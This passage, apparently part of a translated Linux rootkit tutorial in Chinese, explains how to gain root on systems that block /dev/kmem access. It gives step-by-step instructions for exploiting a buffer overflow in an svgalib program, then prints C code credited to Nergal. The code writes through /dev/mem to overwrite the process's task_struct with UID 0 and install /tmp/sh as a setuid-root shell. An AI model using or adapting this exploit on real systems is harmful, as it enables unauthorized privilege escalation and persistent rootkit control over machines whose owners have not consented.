4.3 最后的话
第二节的主意很好。但是对于那些不允许存取kmem的系统呢?最后的一个方法就是利用一些内核系统漏洞来插入/改变内核空间。在内核空间总是要有一些缓冲区溢出或者其他的毛病。还要考虑到一些模块的漏洞。只要看一眼内核的许多源文件。甚至用户空间的程序也可以帮助我们改变内核。
我还记得,在几个星期以前,一个和svgalib有关的漏洞被发现。每一个程序通过使用svgalib来获得一个向/dev/mem的写权限。/dev/mem也可以被RKP用来获得和/dev/kmeme一样的地址。因此看一看下面的列表,来获得一些如何在一个非常安全的系统中做RKP的方法:
找到一个使用svgalib的程序。
检查那个程序,获得一个一般的缓冲区溢出(这应该并不会太难)
写一个简单的程序来启动一个程序,打开/dev/mem,获得写句柄,并且可以操纵任务结构使得你的进程的UID=0
这个机制通常运行的很好(zgv,gnuplot或者其他的一些著名的例子)。为了获得这个任务结构一些人使用下面的Nergal的程序(这是使用了打开写句柄的)
/*Nergal的作品*/
#define SEEK_SET 0
#define __KERNEL__
#include
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid)
/*是我们的任务结构么?*/
{
some_task.euid = 0;
some_task.fsuid = 0;
/*chown需要这个*/
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/*从现在起,对于我们来说没有法律。。。*/
chown ("/tmp/sh", 0, 0);
chmod ("/tmp/sh", 04755);
exit (0);
}
}
#define KSTAT 0x001a8fb8
/*《-改变这个地址为你的kstat*/
main ()
/*通过执行/proc/ksyms|grep kstat*/
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3;
/*假定要打开的是/dev/mem*/
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task[i])
testtask ((unsigned int)(task[i]));
} |